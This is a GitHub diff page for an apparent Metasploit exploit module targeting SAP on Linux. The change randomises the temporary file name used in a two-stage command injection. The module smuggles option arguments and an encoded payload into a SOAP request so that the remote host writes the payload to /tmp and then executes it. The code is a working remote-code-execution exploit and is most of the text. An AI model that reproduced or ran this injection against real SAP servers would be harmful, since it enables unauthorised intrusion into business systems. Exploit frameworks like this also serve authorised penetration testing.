File tree Expand file tree Collapse file tree 1 file changed +6
-5
lines changed
modules/exploits/linux/sap Expand file tree Collapse file tree 1 file changed +6
-5
lines changed Original file line number Diff line number Diff line change @@ -72,24 +72,25 @@ def initialize
72
72
end
73
73
74
74
def exploit
75
+ file = Rex ::Text . rand_text_alphanumeric ( 5 )
75
76
ip = rhost
76
- payload_ = create_payload ( 1 )
77
+ payload_ = create_payload ( 1 , file )
77
78
exec_command ( ip , payload_ )
78
- payload_ = create_payload ( 2 )
79
+ payload_ = create_payload ( 2 , file )
79
80
exec_command ( ip , payload_ )
80
81
end
81
82
82
- def create_payload ( num )
83
+ def create_payload ( num , file )
83
84
command = ""
84
85
if datastore [ 'OS' ] . downcase == "linux"
85
86
if num == 1
86
- command = "-o /tmp/pwned.txt -n pwnie" + "\n !"
87
+ command = "-o /tmp/" + file + " -n pwnie" + "\n !"
87
88
tmp_ = payload . encoded . gsub ( " " , "\t " )
88
89
tmp__ = tmp_ . gsub ( "&" , "&" )
89
90
command << tmp__ . gsub ( "<" , "<" )
90
91
command << "\n "
91
92
end
92
- command = "-ic /tmp/pwned.txt" if num == 2
93
+ command = "-ic /tmp/" + file if num == 2
93
94
end
94
95
data = '<?xml version="1.0" encoding="utf-8" ?>' + "\r \n "
95
96
data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">' + "\r \n "
You can’t perform that action at this time.
0 commit comments